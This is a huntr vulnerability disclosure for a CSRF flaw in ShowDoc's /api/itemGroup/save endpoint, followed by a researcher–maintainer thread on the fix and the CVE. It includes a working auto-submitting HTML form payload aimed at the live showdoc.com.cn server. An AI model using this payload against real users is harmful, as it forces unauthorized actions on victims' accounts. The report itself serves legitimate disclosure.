huntr

Cross-Site Request Forgery (CSRF) in star7th/showdoc

0

✓ Valid Reported on Nov 20th 2021

Description

An attacker is able to create a new group for any item if users visit the attacker's website.
Furthermore, the user-id "uid" is also exposed via the JSON response.
We can bypass the CSRF Protection if we put our payload on an iframe or an HTML file and then send them to the victim.

Proof of Concept

`Poc.html`

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.showdoc.com.cn/server/index.php?s=/api/itemGr
      <input type="hidden" name="group_name" value="testcsrf" />
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="item_ids" value="1704644990568304" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

Steps to Reproduce

1.Open the `PoC.html` in any browser.
2.Now you can check that a new group named `testcsrf` is created with the item that has `id=1704644990568304` is added to that group.
Furthermore, the user id `uid` is also exposed via the JSON response:

```
{"error_code":0,"data":{"id":"2002","uid":"359287","group_name":"testcsrf",
```

Video PoC

You can check my video PoC here: PoC

Impact

This can result in the exposure of data or unintended code execution.

References

- CWE-352: Cross-Site Request Forgery (CSRF)

CVE
CVE-2021-4017
(Published)

Vulnerability Type
CWE-352: Cross-Site Request Forgery (CSRF)

Severity
High (7.3)

Visibility
Public

Status
Fixed

Found by

KhanhCM
@khanhchauminh
pro

Chat with us

Fixed by

star7th

@star7th

unranked

This report was seen 336 times.

We are processing your report and will contact the **star7th/showdoc** team within 24 hours.
a year ago

KhanhCM modified the report a year ago

KhanhCM modified the report a year ago

We have contacted a member of the **star7th/showdoc** team and are waiting to hear back
a year ago

star7th a year ago Maintainer

There is already another report on this issue. Therefore, I have added the strict flag to the cookie. You can retest whether there are still problems you said.

KhanhCM a year ago Researcher

Hi @star7th,

I can confirm that you added the strict flag in your fix as mentioned in another report. I retested and I saw that the CSRF vulnerability as I said with the reproduction steps above was no longer vulnerable.

However, you can see that my vulnerability was reported earlier and moreover, the CSRF vulnerability in my report exists in another endpoint, which is `/api/itemGroup/save` . It is related to Project Group management, not about Team management as in another report.

We have sent a follow up to the **star7th/showdoc** team. We will try again in 7 days. a year ago

star7th validated this vulnerability a year ago

KhanhCM has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

star7th marked this as fixed in **v2.9.13** with commit **654e87** a year ago

star7th has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Jamie Slome a year ago Admin

CVE published! 🎊

KhanhCM a year ago Researcher

Thank you for your support! @admin

Sign in to join this conversation